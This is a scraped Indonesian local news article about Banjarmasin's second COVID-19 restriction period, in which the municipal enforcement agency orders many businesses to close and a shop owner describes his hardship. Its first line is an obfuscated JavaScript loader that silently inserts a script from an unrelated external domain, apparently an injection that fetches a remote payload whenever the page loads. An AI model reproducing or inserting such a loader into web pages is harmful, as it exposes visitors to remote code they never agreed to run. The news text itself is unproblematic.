(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Mujahid Terpaksa Cari Usaha Lain, Satpol PP Ancam Tutup Paksa Sejumlah Tempat Usaha pada PSBB Jilid II


KANALKALIMANTAN.COM, BANJARMASIN – Pelaksanaan Pembatasan Sosial Berskala Besar (PSBB) Banjarmasin jilid II atau lanjutan selama dua pekan ke depan sepertinya lebih tegas dari PSBB sebelumnya.

Sebagai bukti, saat ini beredar surat edaran Satuan Polisi Pamong Praja (Satpol PP) Banjarmasin Nomor 331.1/570/SatpolPP-02/V/2020 tentang penutupan sementara beberapa kegiatan usaha selama berlangsungnya PSBB lanjutan itu.

Plt Kepala Satpol PP Kota Banjarmasin, Ichwan Noor Chalik, dikonfirmasi Jumat (8/5/2020), mengatakan, keputusan tersebut diambil tidak lain bertujuan guna menyukseskan pelaksanaan PSBB, termasuk dalam hal mempertegaskan penegakkan perwali pada tempat usaha yang buka.

Dia mengaku sudah melayangkan surat edaran tersebut kepada seluruh tempat usaha yang tertera dalam surat tersebut.

“Jadi kepada pemilik tempat usaha yang ada dalam lampiran itu harus menatinya,” tegas Ichwan.

Dalam surat tersebut tertulis beberapa tempat usaha yang tidak diperbolehkan buka atau beroperasi. Antara lain restoran, kafe, rumah makan, dealer, bengkel atau toko onderdil kendaraan bermotor hingga toko elektonik seperti ponsel.

“Kami minta agar menutup sementara usahanya selama pelaksanaan PSBB Banjarmasin, ini mengacu pada Perwali Nomor 33 Tahun 2020 tentang Pedoman Pelaksanaan PSBB dalam rangka percepatan penanganan,” ucap Ichwan.

Ia membeberkan, siap mengerahkan petugas Satpol PP untuk menutup paksa tempat usaha yang tak mengindahkan surat edaran tersebut.

“Insyaallah dalam waktu dekat kami akan memantau tempat usaha yang patuh atau tidak,” ucapnya.

Selama dua atau tiga hari ke depan, ucap dia, pihaknya akan menyosialiasikannya terlebih dahulu. Jika tidak ada aral melintang, maka penegakan pun akan dilakukan pada Senin (11/5/2020).

Sementara itu, di sisi lain, penutupan ini tentunya sangat memberatkan bagi salah satu pelaku usaha, yaitu Mujahid. Ia mengaku keberatan dengan rencana penutupan ini.

“Saya kehabisan akal kalau memang tidak dibolehi sama sekali buka. Ini saja saya sudah nombok untuk bayar sewa toko,” kata Mujahid yang merupakan pemilik toko baju dan sablon baju di kawasan Cemara, Banjarmasin Utara.

Saat ini, Mujahid mengaku sambil bekerja di sektor lain.

“SSaya menemani seorang teman menjual makanan khas timur tengah, yaitu kebab. Yang dijual secara online,” pungkasdia. (kanalkalimantan.com/fikri)

 

Reporter : Fikri
Editor : Dhani

 


Desy Arfianty

Recent Posts

Serang Markas Polisi di Kobar Kalteng, Empat Lelaki Diringkus

KANALKALIMANTAN.COM, PANGKALAN BUN - Malam yang seharusnya tenang di Desa Pangkalan Banteng, Kabupaten Kotawaringin Barat… Read More

27 menit ago

Pj Bupati Kapuas Perpisahan dengan Dua Pejabat Purna Tugas

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi didampingi Pj Ketua TP PKK… Read More

2 jam ago

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

17 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

20 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

23 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

24 jam ago

This website uses cookies.